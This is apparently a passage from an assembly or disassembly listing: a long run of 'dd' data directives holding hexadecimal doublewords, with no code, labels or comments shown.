		dd 378BC6Fh, 97C89FF3h,	0E6670760h, 9BCB0043h, 4A22DB23h
		dd 69027513h, 2F386371h, 6526C020h, 1E5F0068h, 0E61070A6h
		dd 8800A70Ch, 54631D38h, 922D2BAh, 5CD71ACAh, 119EA780h
		dd 260339EEh, 0BB83D109h, 2280B806h, 58B4E618h,	0C907E3E2h
		dd 507C2C73h, 2B5425Fh,	0BE866E00h, 768E7D35h, 0B0FE8Fh
		dd 0CD2ED1F4h, 0DED9E160h, 222F7700h, 50D736A3h, 4B801E1Ah
		dd 0D25870B5h, 7D0003CFh, 66FCCBBAh, 183178h, 0C011C5D4h
		dd 9B99A84Ch, 0A0370300h, 0CABF2384h, 825500EEh, 0AA5375ABh
		dd 601D75Fh, 81AD9373h,	0F0FF6FD9h, 0A0993FB0h,	0FA3757A4h
		dd 5590C3Dh, 0DD3887E1h, 9B175C00h, 0BEC524ECh,	3D40072Ah
		dd 50652BB5h, 13569308h, 981FB102h, 0C04583D3h,	9369A5Ch
		dd 5DCD0B23h, 0B9B75501h, 3163E412h, 0D4004E79h, 0A9673882h
		dd 0C72111EEh, 63F12DE0h, 60005A43h, 0A65879ECh, 15CEFB7h
		dd 0BAE67CBDh, 0E434BE2Ch, 5303A175h, 907931D3h, 0EC7800D9h
		dd 64BF0F28h, 58005763h, 14EE65CAh, 9CB135h, 762EAF56h
		dd 8E216040h, 5D4D6700h, 0AC4F7F05h, 0D54300D0h, 8046C6FEh
		dd 7000F56Eh, 9505F61Eh, 0F9F3F69h, 3137C786h, 3854A100h
		dd 0D100E3C9h, 0E0EFF933h, 3DF69641h, 0A78331CCh, 0A4E11085h
		dd 68FE2800h, 867FD4Dh,	1C0B0E34h, 58802C50h, 0B0384A74h
		dd 2A3F2B0Fh, 0B96B228Dh, 0D1AD6086h, 741AF0FBh, 0FEA9001Bh
		dd 2230900Eh, 0D7C7F06h, 0B07A9F30h, 187492EDh,	28FDA239h
		dd 55005282h, 56E5CE19h, 90E08Fh, 612BC123h, 73D91B5Dh
		dd 0F0F9A812h, 0AE7F3300h, 464ECAh, 9B7E96D4h, 7A73083Ah
		dd 763EF94Ch, 0A56A7B1Dh, 0F20B3341h, 23E0F35Eh, 99660793h
		dd 0A0AC4139h, 2A8E8536h, 0C405741Fh, 8D297080h, 0C0069CF7h
		dd 0F5993910h, 0FC07365Ah, 38CAEC91h, 2575EB00h, 471E0033h
		dd 0F3068D22h, 20007B53h
		dd 888C506Fh, 77D2DAh, 1FF6C84Bh, 67DBCBFAh, 0D01FE74h
		dd 0B2FC956h, 38F0C480h, 3D111FE2h, 1E8C406Ah, 0A046A2B5h
		dd 93723007h, 15C0C4D0h, 0AF2A312h, 5A059A14h, 62002F81h
		dd 0FA0DB5C1h, 8D3BB001h, 0D52A9780h, 0D1B3D8h,	68B96ADCh
		dd 44BB346Fh, 70121130h, 0AB5E65h, 0FD4C090h, 48992024h
		dd 0DB88E260h, 7DAE2F87h, 254B00D2h, 0FEC02D6Fh, 0EF00BC22h
		dd 0B8FAB959h, 0A938EDh, 98D01219h, 617B28DCh, 0C1D17F1Eh
		dd 21AFA407h, 99CD94E0h, 281E0185h, 0C957030Bh,	0A42BCC4Bh
		dd 1FA17300h, 0A9E5AFDFh, 0DAD60153h, 0DC9E3B69h, 0A699C4E0h
		dd 4CEFE200h, 0C6191E62h, 0BA05006Ch, 0D951773Bh, 0B400A8CBh
		dd 0E8A07A75h, 5987E70h, 0ECE37DA9h, 7803C0D2h,	0B7006322h
		dd 0CEF6B231h, 0E4BB0Ch, 0BE15519Ch, 1247EB0Eh,	7CCADF00h
		dd 0D8041FB2h, 34AD078Bh, 0C08CC9C5h, 571B4550h, 7060ED07h
		dd 9CA0D852h, 2FC24h, 0F59DF06Fh, 0CD6971DDh, 26417F00h
		dd 965A1D48h, 43FE390Fh, 567CE400h, 504449FFh, 0C3118400h
		dd 0E86BD497h, 0DCC0EEEh, 78204039h, 5D7BBD68h,	0B7429B00h
		dd 0FDF1D880h, 0C828DD6Ah, 6E073A7Dh, 5D107E94h, 8089223Fh
		dd 6940F94Ah, 7E7A4514h, 30282E86h, 0AF514443h,	88817617h
		dd 99A71441h, 0FD075188h, 6CEF10BCh, 3F405C11h,	0B296474h
		dd 11C3B721h, 39104610h, 6F80B878h, 8FB040BFh, 0E4801B77h
		dd 0FD048979h, 0CB730163h, 0EE0B5188h, 0E901888h, 0EC00E90Ah
		dd 5967357Eh, 9063CD28h, 5D663603h, 0B8B0E378h,	0C25657h
		dd 1C52F674h, 32BE247Bh, 0BF983C03h, 80A3AA6Dh,	498C18h
		dd 56DE99A4h, 0F32F9036h, 1D95E23Dh, 0A5005C26h, 0C80E013Ah
		dd 8B6800D7h, 7EE62C93h, 0AD005ED4h, 5774EC50h,	9AC4E4h
		dd 1E28B071h, 9880955Fh, 6E441003h, 90B27412h, 2511B1h
		dd 0B835AD31h, 8C5DD173h, 799D7F00h, 0BA71262Dh, 0BF7A6Ch
		dd 0B064357Bh, 301312B5h, 0B4D7C500h, 936AE2EFh, 0EA44009Eh
		dd 0C6CDAC59h, 0CE0341B9h, 0DE380E0Bh, 8D5B8862h, 0FED600A7h
		dd 0CADBF29Dh, 639EAA2h, 7A0187CEh, 78101FD1h, 0B8513516h
		dd 0F2370064h, 23792770h, 0ADEC6FCEh, 0FCFD0400h, 4AC58F1Eh
		dd 641707BCh, 0D0321CE0h, 0A36B0A4Eh, 0CB11E11Dh, 2B0E1F5Dh
		dd 8A712053h, 0F684544Ah, 3AF6EE6Ah, 778021C9h,	3409127Ch
		dd 79713363h, 880D2400h, 57CB25ADh, 0BC053FE0h,	6C37E600h
		dd 61542922h, 7C468000h, 0AECAA2D7h, 6D9200EBh,	8C8E77Eh
		dd 3900E33Fh, 0C7E05B1Eh, 9145E2h, 68B78C56h, 0B0D4A027h
		dd 16540F07h, 3B70F743h, 8D38A6h, 0F8D29508h, 0C47636C8h
		dd 0BAE1553Ch, 0B600FD3Eh, 5B86C28Ah, 58910CC3h, 0A3D504Fh
		dd 9A13010Eh, 84546D67h, 0FF8C092h, 5300CC97h, 58987BE6h
		dd 4AE4A8h, 0FB41BDCEh,	0ECAD3F67h, 0F8D3007h, 5567B9A6h
		dd 0C80C1D80h, 0DD910F99h, 2280E9F1h, 3E0E615Ah, 1F77EA00h
		dd 4C11EF3h, 6AD0048h, 29B2989Eh, 7E0080C0h, 0E253C2B1h
		dd 0CA26F6h, 93336D72h,	494722DAh, 2FFA8790h, 0D42A7303h
		dd 0CF8DAF65h, 814CB880h, 0A591223h, 103600E2h,	9588D2CBh
		dd 24F4BE00h, 0EDE71770h, 0A366091Ch, 3F0099F7h, 0E165280Ah
		dd 5B0F3277h, 0C76860FDh, 3820BC7Dh, 7CA9963h, 0C36C4D15h
		dd 6092B0FCh, 2CB0350Bh, 0CCA36800h, 0F6E85546h, 0F70103C0h
		dd 0A208C672h, 0E6A67680h, 156F6300h, 4134D365h, 50DB1E84h
		dd 8CE1C040h, 226A0936h, 3370A605h, 8880F725h, 745A7E44h
		dd 2650024h, 0EDBC99ABh, 0F500E6FBh, 3977D46Bh,	3A3798D8h
		dd 0AC809510h, 78C2C74Bh, 6958763Eh, 0BE7500D7h, 0FFF31380h
		dd 94AF0002h, 0A255F57Bh, 4B3C4DF4h, 0FBF000C2h, 8250C131h
		dd 27C46h, 266B4861h, 0C5354270h, 73CE250Eh, 0F2B6C719h
		dd 3F62BF81h, 5EEBF8C3h, 7AEE0Bh, 0D2A149D4h, 0B1B9D8EDh
		dd 3975713Eh, 0F48C89FAh, 28B80009h, 181C698h, 0E3A58891h
		dd 0ECC54344h, 4602D8F3h, 0B86C6554h, 8CCF87ACh, 991F2940h
		dd 5F140072h, 0AF792CA2h, 81000B6Ah, 745D4B0h, 17659593h
		dd 6296B4h, 666B6CAh, 0A6756AF2h, 0FD5D6B00h, 7DBEF009h
		dd 63763AB7h, 3C3D9880h, 75F8E136h, 0DEA01100h,	0AFAB661h
		dd 0AD4F01ACh, 0BE50B2EEh, 9A7DC4EAh, 63404Ch, 0E23186BDh
		dd 3DC458h, 0D1A2C826h,	872233C3h, 3F700200h, 0F3B82029h
		dd 3683E76h, 0E8FCD900h, 0F60CF008h, 0D0EBE200h, 9BA15ABCh
		dd 0FF3A026Bh, 22A95F56h, 9FCC8Eh, 87EBBE98h, 28003B37h
		dd 41E4913h, 12F05CB2h,	3CE367h, 91C70530h, 3D009D8Dh
		dd 5CD611ECh, 7C9F31Dh,	3E2078D2h, 0D4DDB174h, 0EB2FF0C0h
		dd 8CC2E51Ch, 7D70DC40h, 0F0D87FA3h, 17800092h,	63FF94C4h
		dd 0DD003611h, 2AD08572h, 0D9561Fh, 0C6CED703h,	0FCCAED6Eh
		dd 0B6A7F003h, 0EA2ABE9Dh, 2560DD3Ah, 34F24A54h, 0F9091B00h
		dd 9CFC48C3h, 77400A5h,	0EABA86F3h, 587912C9h, 19F16A01h
		dd 9B7B461Ch, 4BC5B0DCh, 29E0055h, 8526291Dh, 0DC001090h
		dd 0CC398CD6h, 3C0E1931h, 0E29E3D0Fh, 0C75BC0B4h, 0B3B5D95Dh
		dd 0FFFCE001h, 5654D1B1h, 9378A880h, 0B7406497h, 796A4E02h
		dd 402CFD8Fh, 7E9528h, 0CCCBB8C5h, 0F50E7250h, 430DD818h
		dd 64B1F6h, 0B754DF06h,	40365752h, 0F105101Fh, 7E916580h
		dd 29F7DD7h, 57DF3AAFh,	16407619h, 0FEA05B69h, 6500A736h
		dd 120D6ECFh, 16D8AD27h, 579D9Eh, 808AA846h, 0D30016EAh
		dd 14986E9Ah, 3BF63805h, 0B4815EFFh, 847363B0h,	0CCF4C41Ch
		dd 228A5700h, 0A1C4092Dh, 5FF90052h, 6D3B2A85h,	0D0007D32h
		dd 164E01CEh, 1429D90h,	983F490Fh, 607C3744h, 51E6C98Ah
		dd 7961CB00h, 0C657632Fh, 234B0097h, 72B6AEC4h,	50075A7h
		dd 3C7A9A5Dh, 8A0A16h, 274724CCh, 0F2B9AE1Dh, 5FBC5407h
		dd 0C8910C94h, 0D8CCC003h, 0F1DB002Fh, 0D671C5F5h, 160EF318h
		dd 0AFD23B42h, 4E7DA1E4h, 6CD478B7h, 87EA03F4h,	0DC8BDE71h
		dd 300BA898h, 8FAE5704h, 0F8C8F2D2h, 782F0012h,	10A3264Fh
		dd 0EF0044B8h, 1F5F46D6h, 0F78F34h, 4C197535h, 424F8A93h
		dd 6E96B205h, 0D382F322h, 0E020E017h, 0A2DA0158h, 2D2F78C4h
		dd 4F5D7028h, 66398500h, 21CD6026h, 0EE8C0029h,	0BF361E31h
		dd 0E100EC94h, 0F37DC84Ah, 2889AB2h, 0FE340FE7h, 6D609903h
		dd 0D3172436h, 420379Dh, 48965BEFh, 0E8002923h,	5D1EDB55h
		dd 400AC58h, 316DE20Ch,	0E6F25C20h, 767000BCh, 0C264300Fh
		dd 0E01EE799h, 0B2404A26h, 0BAA9AFBEh, 0D4524D93h, 0CBFC421Fh
		dd 7905F969h, 5388161h,	4E68609Ch, 87DE7E38h, 0DD97FA15h
		dd 192BF570h, 75770FACh, 0E2E088AEh, 99B18533h,	0E8968F0Fh
		dd 0DCBF403Fh, 31E12C4h, 3A78FD77h, 80DF0CB8h, 0C2960430h
		dd 0EA3CB000h, 49C89D86h, 8D8A372Fh, 0CE169092h, 0E6002DC3h
		dd 156C6FABh, 2879035h,	995D54E5h, 607F0FC6h, 0FE23722h
		dd 650CD2E4h, 80F13264h, 631D6120h, 13223C00h, 0A3AA8B1Bh
		dd 0B67A0F3Fh, 0AB00388Eh, 64A0F85Ch, 45213D00h, 2CE7F0B3h
		dd 724A2C31h, 0C41A0088h, 0D48735F5h, 1FE5803Ah, 7A87057Dh
		dd 16202A03h, 0C40CA1h,	5619434Dh, 5EAD2995h, 0CECB3D24h
		dd 9DF74100h, 0E4D249CDh, 0C3C6C0E6h, 0C1F96514h, 0F4817D00h
		dd 0BD5EA589h, 0D42B0030h, 6152C8F3h, 0D107C2F0h, 5C1B36BBh
		dd 0C654C460h, 58712CAAh
		dd 0A60900C2h, 0BD9D3213h, 97032701h, 0C3F8680Ch, 0F8610F0h
		dd 0ED83A771h, 0A43B7080h, 63987754h, 0EA38FC01h, 4A7625C7h
		dd 5F5030h, 0A5A686Eh, 5EE7173h, 40060B00h, 0A94A7CF4h
		dd 264C9814h, 0AE1970h,	8879582Bh, 1000564h, 10E14F86h
		dd 38F20B5Bh, 0B800B522h, 0F44382F6h, 58011BCBh, 0CEFB87D7h
		dd 0EACC8C53h, 62B00F8Eh, 79239B8Ah, 0C8E10C5Bh, 0F346EC9Ch
		dd 23DF3Ch, 1A05907Dh, 1E573114h, 83C6E9A0h, 0F44D557Ah
		dd 1E66884Ch, 181F3851h, 3B66FD80h, 1E4E83Dh, 81A41398h
		dd 30B7F11Fh, 2002F70h,	16D019AAh, 0FB9271h, 0C45A6DF6h
		dd 0A3AE5838h, 0E96F43Eh, 40DDD87Eh, 0ACBC21E4h, 498D0022h
		dd 3CEAEEA9h, 0ED003492h, 0B7312EBFh, 1D5F36h, 7F795D83h
		dd 3D02476Bh, 5BD5D000h, 0F0D3DEC1h, 3F42750Ah,	3C81EE2Ah
		dd 6E063AF6h, 4D7AF05Fh, 0EFB16003h, 0F64A5EF4h, 0BBD89DE0h
		dd 0B53B5600h, 80354FCAh, 9EB3009Ah, 0A9B3D17h,	0D3017C0Dh
		dd 0E7FB0CAEh, 788195CFh, 8DDBD1FFh, 51A6CCA5h,	13E3948h
		dd 19AFE078h, 31C0AD11h, 33FE46h, 0A1DA0F6Fh, 0A62EEE7Ah
		dd 85EC0E01h, 32E2D592h, 798C46D8h, 5ADF00A5h, 0B0CD62B5h
		dd 0F500CC1Ch, 7365B220h, 1F7D197h, 568E8998h, 0F1FB7715h
		dd 96A85045h, 517B16A5h, 0C7ABB100h, 0D57DFCCDh, 0D09ACEh
		dd 0CBA30BE3h, 0B0BBAD86h, 8DE07100h, 0F05FDA66h, 0D5E1EE8h
		dd 29D4CF01h, 0F79EBCC0h, 9113E4BAh, 8800B31Fh,	39CD8F96h
		dd 0DAE63Bh, 0DC2C3C86h, 88AD7148h, 23BD2406h, 0A0CCF1h
		dd 0F32E6312h, 4092D362h, 36E3300h, 768DB70Ch, 0B43800C6h
		dd 880EFD9Dh, 7D00EFE3h, 708A87A8h, 0EF3C96Bh, 14F6596Fh
		dd 0FD26409Dh, 0FA54513Ch, 33FCC3Fh, 0B4B0D380h, 0F0368B33h
		dd 1EE5B530h, 7C13299h,	9182C38h, 0FF7BDCB8h, 0C0841F00h
		dd 2E446297h, 56F400D1h, 0D7AD8E3h, 4F00C131h, 0C8925CFEh
		dd 65174Dh, 9C9823F1h, 0E2AD709h, 0E200EAF8h, 1FF94411h
		dd 7A1C1B83h, 42500010h, 9BDF1EBBh, 0A5006E02h,	0AE4B4A78h
		dd 935D37h, 4D12161h, 0FAA16226h, 0F8ACBF68h, 0F8B89607h
		dd 0CBF58EC0h, 9D82008Ah, 70EBABB0h, 0C9001799h, 0AC33C2E6h
		dd 1689A1Eh, 47038878h,	0D4C6A186h, 0AB488F01h,	3F360024h
		dd 947CBB82h, 0C2F800A2h, 52FE3DD3h, 5BFEA870h,	41973300h
		dd 69196D91h, 7C12875h,	21E20781h, 331B3A5Dh, 7CA802DAh
		dd 32070347h, 0AD996B25h, 0DDCE8940h, 7F4F2D9Ah, 0A3CCAC02h
		dd 139E044h, 7D6D8F73h,	0DA25C0B3h, 7E3148h, 0EEE4157Fh
		dd 0E2559DF8h, 0F5496500h, 41132643h, 0BF9F20Eh, 3B2E59Ch
		dd 0B9401A02h, 7DBB8860h, 66070176h, 9DD7C673h,	391D4A51h
		dd 0E33860h, 5F0241FCh,	5DE17903h, 8F8C203Ah, 60ACB48Bh
		dd 7E3B6B69h, 297E3Fh, 88C3F635h, 7DFEB5BCh, 28C2A200h
		dd 999B52D9h, 5E1600C9h, 0CC419DC7h, 600D082h, 0AB7875BEh
		dd 43A244h, 3D40CF4Eh, 978C1AA8h, 8DD2B500h, 75E439A4h
		dd 0F9320EB1h, 0BC5CBEh, 31D76E4Fh, 86008FD8h, 742BE15Dh
		dd 15E71C1h, 0A91CA5E2h, 20E060B3h, 65015979h, 514EEE4Ah
		dd 5CDCB604h, 650032Fh,	914D6D0Bh, 5973E00h, 594EBFDDh
		dd 2812019Eh, 9D64C2F9h, 0FFADF81Fh, 0BFDB9F00h, 68317852h
		dd 0A95B48CDh, 0E7216407h, 97FF00A3h, 3000142Ah, 50B18866h
		dd 0F2852h, 0DB96EC02h,	5BB7CB92h, 887E9B00h, 0A8EA34AEh
		dd 58440033h, 7325EBE2h, 2900866Ah, 40E07607h, 0CBC3E1h
		dd 0C694ED84h, 51E767E6h, 86568928h, 0BFCAE39h,	80E9424Bh
		dd 5B122E17h, 723076Bh,	10591882h, 0E9055A87h, 1E00FA74h
		dd 0E88E2050h, 0F5909Fh, 9D41B3DDh, 160C4608h, 0EF00FDFEh
		dd 70E72A6Bh, 30B5744h,	0AA71F295h, 0C3C03B07h,	0DC004EE4h
		dd 9A7FCE05h, 756925Eh,	2B1A80B6h, 24002E41h, 331744CAh
		dd 0AF14Ch, 210DCC70h, 307222Fh, 8F4F2A43h, 0AEB9F65Bh
		dd 6B87E8FFh, 0E9868800h, 4450A711h, 1F2948CFh,	3E202Eh
		dd 58BA1C8Bh, 0EF003789h, 13D4E07Bh, 11D8D0Eh, 0C79CD6E4h
		dd 8042D143h, 6A6BEE82h, 0ABE3BAh, 309F5C0Ch, 0DFFABE2Ah
		dd 0F0E2BE2h, 272817h, 4D0C396Fh, 35743F75h, 25642F80h
		dd 9F916CA2h, 38AF300h,	1350C590h, 0A60600E6h, 2EED0E3Ch
		dd 0A3008807h, 2BFE6664h, 0E6D7B7A7h, 0BA02038Bh, 0DC2EB2ADh
		dd 0BB652390h, 7FDD0601h, 253E508Ah, 0F059540h,	0D3E717D9h
		dd 863A0CDh, 4688DD01h,	3294DCEAh, 0CC8DB9F8h, 0C860AF10h
		dd 0DB1D711Eh, 21C32040h, 0E8B13A7Bh, 1291035Bh, 47E4551h
		dd 2527A581h, 9368E038h, 0E43FCB00h, 0AB4D7013h, 0C50D07A3h
		dd 30240E56h, 965022D4h, 9B24F00h, 5F173FD3h, 1E7600B7h
		dd 0B4C32379h, 68C7861Dh, 28B06BB5h, 0E13D1Ch, 2C85097Dh
		dd 0A953E4ADh, 0D817EA00h, 4290D3CBh, 0C79600A8h, 4BAFAE1h
		dd 0D01E0670h, 0A1C07398h, 0DCD29167h, 8A8D1EEEh, 839C40D4h
		dd 0CBBCE053h, 450BB100h, 4F3252Ch, 0B89B0022h,	0CF7CA1CDh
		dd 1F003CDAh, 2427DED2h, 0C0D19192h, 0E22A2C80h, 4000B37h
		dd 36F7A793h, 0C16390h,	1B4125CAh, 548469FCh, 48A20E00h
		dd 5321D7CFh, 0DA80BC0h, 0D480948Ah, 0F209FB47h, 0E3E7C401h
		dd 96696E16h, 3C7A89CCh, 0AB0B7511h, 8B03456Fh,	9CE04A1Fh
		dd 0A0E6213h, 0EFC16B61h, 0B56C2091h, 393BC4C0h, 0F0C8A096h
		dd 24F7563Ch, 24BE2D26h, 0F035009Ch, 8A7C1524h,	0F1223D0Eh
		dd 5D4E202Fh, 3E3E868Eh, 74300Ch, 55A1E4B1h, 2799E898h
		dd 1F362B0Eh, 86D94007h, 14BFD0Bh, 4C56877Ch, 0FC40F3DCh
		dd 15009DE3h, 0A966C068h, 7E51CFh, 0F17BD696h, 0B77F1CB2h
		dd 0E6300300h, 0FBF3AD13h, 73F9002Dh, 59FD407Bh, 57004E36h
		dd 0B88655F8h, 70EDFh, 0BFE92C0Fh, 2E1DF31Fh, 0A900F0B8h
		dd 0C4F19D55h, 17C277D7h, 0A8CE7F71h, 6AD300B5h, 1532D28Ch
		dd 838F01ACh, 84190474h, 46FF705Ah, 5D3F1E01h, 14DDFD8Ah
		dd 38B6ACCh, 4120695Eh,	0A590AED4h, 0E1008221h,	9F388081h
		dd 0A91A16h, 0ED141EEFh, 0BC2593CAh, 66EB6505h,	4B8772ACh
		dd 5F56CEF0h, 0E1D60035h, 5D4CAFCCh, 8F003EC1h,	0B66BD59Bh
		dd 1860100Bh, 0D0E3A7C9h, 4600E282h, 7470A528h,	3ECDA4h
		dd 0EB454F89h, 0BD2F5539h, 58E48E00h, 9A4DECB2h, 0FDF20F5Dh
		dd 0C700D9B0h, 7856ED82h, 0C50E24EAh, 200BEE36h, 0C29122A5h
		dd 306C90AFh, 0B8B6F656h, 0DF0044E9h, 8006E5D6h, 757C4294h
		dd 0E04D0559h, 0C023A328h, 65ED8642h, 69094700h, 0EE073BFBh
		dd 0EB77007Ah, 2D50747Ch, 16008C70h, 0E79E5C29h, 0B8306Ch
		dd 71F85B75h, 0B1A2D9D5h, 0A5009375h, 3A44F6CAh, 118F23h
		dd 0DF2937B0h, 3259A7C5h, 0C3779100h, 7041406Ah, 90873AD3h
		dd 0FFC6A000h, 0B8188E0Fh, 0ACDAAF00h, 0A56561F2h, 3C9448EEh
		dd 205CAA05h, 0E52FC005h, 0FC07BAF6h, 22DC953Eh, 8635C210h
		dd 80E717D8h, 79260427h, 0CBE4C1A3h, 0C7ACF87Bh, 3BB18F04h
		dd 0EBC48568h, 0C3EA8000h, 911EB8h, 87E13617h, 0E5D9ED8Ah
		dd 98FFA00h, 9FDD8BB1h,	0D0940089h, 0EFCBC785h,	8E48D82Ch
		dd 0EB027660h, 42BADE57h, 0A8A8402Ah, 184F0E1Bh, 29E0A584h
		dd 47A2528Ah, 61B8F700h, 0D09715FCh, 0DE62001Eh, 46E6BD08h
		dd 0A13D9F95h, 0D0A2282Bh, 0A6244001h, 5D231A56h, 3C21D280h
		dd 79B36031h, 0ECFF7074h
		dd 26F60883h, 3BEE9116h, 0D6D0305h, 82259380h, 0C4D43AF0h
		dd 0E0F2B200h, 939950F4h, 0AA009273h, 47AB2577h, 681358h
		dd 0BA063E94h, 0CAB6BBCBh, 3527B300h, 4B29D54Eh, 0E86201C5h
		dd 0A647D378h, 810030FBh, 1D5440h, 3F213052h, 142E36C2h
		dd 0B0FBD700h, 89A06A88h, 0D8400B2h, 3BCE5B7Eh,	38000960h
		dd 19F750F5h, 35E9072h,	5B089488h, 6A982D8Bh, 5D00B902h
		dd 3A1D3073h, 0E55C7Bh,	47ED186Eh, 0AEBC20DDh, 0F78CD300h
		dd 379D034h, 36B4005Ah,	3D5EA952h, 2800E486h, 0DFAD33AFh
		dd 0C847FFh, 11B080EFh,	274056Fh, 97084B00h, 2493C4B9h
		dd 89A60EF8h, 8BC018F2h, 0F9C07FB7h, 0F3CC8D00h, 9F8A3CE9h
		dd 2C6B000Ah, 0D913283Eh, 0B900B1BCh, 2A2D7734h, 7AA8797h
		dd 0E49FC301h, 0CA9580B2h, 63008D65h, 0BCE1A329h, 0E03DEA5h
		dd 8840EA61h, 50246E80h, 5E0005B9h, 0FD3FD238h,	0E49C7A7Ch
		dd 9AFF006Fh, 4A11D546h, 0E600030Bh, 3EDF33E9h,	3A45E776h
		dd 0BC00713Ch, 5C0DAEEEh, 0C4006446h, 0A6D0500Bh, 29827Ah
		dd 271828ACh, 0A03A20B8h, 0FD055900h, 0EB12D498h, 3F9A9848h
		dd 0D580825Dh, 910FB417h, 26B0BDEAh, 5C412900h,	0AA763F7Dh
		dd 0F4870070h, 45999E48h, 0B20083CDh, 35CE8CC8h, 77F955FDh
		dd 0D17B001Eh, 0D9FAF69Eh, 0A00465Bh, 72489C56h, 933CEC49h
		dd 5FA90760h, 68D2B026h, 13006C0Dh, 2BF78E7Ah, 3E5E2544h
		dd 0E100B317h, 0C2820662h, 0C71EE26Ch, 5184282Fh, 0D1C147B1h
		dd 0D280DD88h, 87D6827Eh, 571E2AFEh, 4043A9A4h,	0E07042BDh
		dd 49A1746Bh, 0A8002C5Dh, 418076FCh, 75E40935h,	2E113F00h
		dd 0D96D40C3h, 64FC06DBh, 3001381Fh, 0BD2A2500h, 96C73E79h
		dd 0A3770152h, 540EE4C3h, 0A10CF034h, 0F88C2803h, 0A0A6FE80h
		dd 2ECA86h, 0EA2A6ADDh,	0FF3B4764h, 10985F05h, 80AC93h
		dd 0A04432A9h, 0EED5A8Eh, 75EF45C7h, 70B00D47h,	307FC5C4h
		dd 8F6E3400h, 79FA5561h, 0D66F0196h, 6B1ED7Ch, 0B221F05Ah
		dd 0E20056F8h, 0B012DF4Ah, 6E417Fh, 4EFBD1CDh, 76885853h
		dd 0EB5F0207h, 0C0DF787Bh, 0B098165Dh, 21CE0792h, 5135E658h
		dd 30E4A83Eh, 0FB063451h, 4BFCB073h, 765A006Eh,	3E9160BBh
		dd 49F67822h, 0FFC57300h, 13451595h, 1E72005Ah,	71B1E3C8h
		dd 8301A9EFh, 4BE5D51Dh, 0C0D426D6h, 3FE43F2Eh,	0A62CBCC8h
		dd 5EF10014h, 66DAF76Ah, 8062D31Eh, 0C0F2A40h, 2642CBF8h
		dd 2090B0h, 18EC9ED7h, 9A731587h, 438C9F00h, 0F4FE1F24h
		dd 731616D2h, 88F860AEh, 0C400588Dh, 2DAB971Eh,	24826D64h
		dd 3BA0162Ah, 0C1E1F91Dh, 499CF40Eh, 8FCCE0FEh,	0D877570Eh
		dd 268C602Ch, 2926976h,	27E9D1A9h, 0FE8E8D14h, 17AC5140h
		dd 1A00A6C5h, 47D52E98h, 0D31DFDh, 2722314Dh, 5A87CD3Bh
		dd 7568E600h, 0CCCA3FC6h, 4DFB00C9h, 0E497D5Fh,	0F0E83820h
		dd 0EF0A4801h, 0CCA3BC8Ah, 1CC6E0FCh, 0C07F1286h, 2E2DFD1Ah
		dd 9500998Eh, 69356B84h, 15B5E2Bh, 0F5E2A2BFh, 0F8F89EE1h
		dd 0F2000F81h, 0C4B2374Dh, 90DBFF59h, 8F2C252Ch, 7570F6F8h
		dd 0ABE68903h, 0C80CE341h, 0CE1BF1h, 62FB7F7Dh,	0E5C3AC8h
		dd 0DFE79300h, 0C5DA1751h, 1F061C13h, 0E14B008Fh, 5C07D1B8h
		dd 82249B00h, 695525A5h, 0CDBB02A7h, 8F866847h,	83C3C660h
		dd 4F10C403h, 0C879DA92h, 20F298h, 388F610Dh, 541A1DD5h
		dd 0A40FAC00h, 2F5B83ABh, 1CE700CDh, 7BA897Dh, 0C1F3736Bh
		dd 0B59740D7h, 3303442Fh, 0D01FD63Ah, 51A9015h,	10D0163h
		dd 0D48BE30Eh, 3C23F816h, 0A923400h, 0D194D0A7h, 0A1EC0D06h
		dd 20A64779h, 7374C7DBh, 0E90B9500h, 5908ACC8h,	50E50051h
		dd 7A052D1Bh, 950FCA57h, 40D111ABh, 81DA043Bh, 833F00B7h
		dd 0E8B80BB4h, 36010671h, 0F731A4A3h, 14D47656h, 730700EAh
		dd 991D20Ah, 0B507D7A6h, 69750C93h, 0F3161CE0h,	34BB133Ch
		dd 231D06h, 10D1519Bh, 0E800D808h, 314357CBh, 25950CB5h
		dd 0B8005829h, 0B836ACC1h, 9DB0A903h, 0B0827B0Fh, 55480Ch
		dd 619EFF88h, 0A46816B2h, 2F006B75h, 0FA25A99Ah, 58A6762Ah
		dd 0F50043F3h, 3B2846B1h, 86003474h, 12BE6E99h,	0FDFFDEh
		dd 0B1B3C1F3h, 0C958AF45h, 60D2F007h, 8834918h,	484C0D3h
		dd 2020CCB0h, 660EB610h, 60436575h, 239909CAh, 5FE2E3h
		dd 53B7E944h, 0D302A5FCh, 0AFC83F67h, 980D4870h, 18E40F58h
		dd 80C1F3DDh, 349E6232h, 0E60072DCh, 29232F89h,	0A0FEE3D5h
		dd 0C06A9D80h, 9784F621h, 5E70C4EBh, 0D76538h, 9BC60561h
		dd 281EC7h, 58E7A09Eh, 8FA8F6C1h, 13910A00h, 68E84C64h
		dd 0C9BC0151h, 0ADC867F5h, 0B44DFC26h, 20954300h, 117ED0E8h
		dd 387F4EEh, 56D6CF48h,	2C4CEC47h, 76340016h, 2E350BA1h
		dd 7FD42482h, 40C21EA4h, 3A3237A2h, 4400FC7Dh, 853E48FDh
		dd 3109341h, 465DF7C4h,	2D80593Ch, 190BD237h, 0E3FB5CCh
		dd 0DE66C012h, 613043h,	0D3A53115h, 925D2E10h, 592FEB00h
		dd 0A10A2119h, 0ECAF000Eh, 83B4C474h, 9D009796h, 0AB4060D0h
		dd 1E5F8FE3h, 47C4FAAh,	0EFE506FDh, 255B2A81h, 1D4E0D0h
		dd 3A5AD924h, 0DDF7ED87h, 55CC408Eh, 0E33DB4FBh, 0D3E80071h
		dd 0DC7427A6h, 0BA43006Bh, 0EA05F50Fh, 0D000AC0Eh, 6151CB73h
		dd 0CD796h, 29B3BE46h, 6A2D41D3h, 7099900h, 0A983D0F5h
		dd 0F3220036h, 95C2162Bh, 0A60E1E8Eh, 0B87D4C1Bh, 1F901890h
		dd 814506E9h, 0C719B697h, 91226068h, 0ACD198C0h, 195EDD8Dh
		dd 0D9B20A1Eh, 192DF0BCh, 97CD7A0Fh, 0FD185A42h, 799FB280h
		dd 2249BBC8h, 0FA4F001Ch, 9794FDA1h, 40672878h,	28A9002Ch
		dd 3E0A1DD3h, 0B1883FD2h, 7E8940C9h, 44774F42h,	9090B669h
		dd 31F959C2h, 9563028Eh, 40BA0510h, 62507AD2h, 4D206D58h
		dd 42DA218Ch, 6A0EBB03h, 437AA2CBh, 0BD5911B4h,	429F1082h
		dd 44F32184h, 65206106h, 56818F93h, 0E2A05857h,	3EBBCAE7h
		dd 2D44D72Eh, 2091C820h, 5506407Bh, 725146E1h, 2AE501C0h
		dd 0A46A60AEh, 4BEC20F2h, 22D70D00h, 8C6DDCBBh,	601D24D8h
